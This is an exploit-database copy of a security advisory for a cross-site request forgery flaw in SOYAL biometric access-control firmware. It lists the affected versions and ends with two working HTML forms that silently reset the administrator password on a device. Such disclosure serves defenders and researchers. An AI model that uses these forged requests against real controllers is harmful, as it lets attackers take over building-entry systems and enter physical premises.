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SOYAL Biometric Access Control System 5.0 Cross Site Request Forgery

CVE Category Price Severity
CVE-2020-27339 CWE-352 $2,500 High
Author Risk Exploitation Type Date
Kamil Sevi High Remote 2021-03-20
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030132

Below is a copy:

SOYAL Biometric Access Control System 5.0 Cross Site Request Forgery
SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password


Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: AR-727 i/CM - F/W: 5.0 
                  AR837E/EF   - F/W: 4.3
                  AR725Ev2    - F/W: 4.3 191231
                  AR331/725E  - F/W: 4.2
                  AR837E/EF   - F/W: 4.1
                  AR-727CM /i - F/W: 4.09
                  AR-727CM /i - F/W: 4.06
                  AR-837E     - F/W: 3.03

Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: SOYAL Technology WebServer 2.0
           SOYAL Serial Device Server 4.03A 
           SOYAL Serial Device Server 4.01n
           SOYAL Serial Device Server 3.07n


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5632
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5632.php


25.01.2021

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<html>
  <body>
    <form action="http://192.168.1.1/userset.cgi" method="POST">
      <input type="hidden" name="pw" value="test123" />
      <input type="hidden" name="pw2" value="test123" />
      <input type="submit" value="Forge me!" />
    </form>
  </body>
</html>

...

<html>
  <body>
    <form action="http://192.168.1.2/LoginUser.cgi" method="POST">
      <input type="hidden" name="pw" value="drugtest123" />
      <input type="hidden" name="pw2" value="drugtest123" />
      <input type="submit" value="Forge me!" />
    </form>
  </body>
</html>

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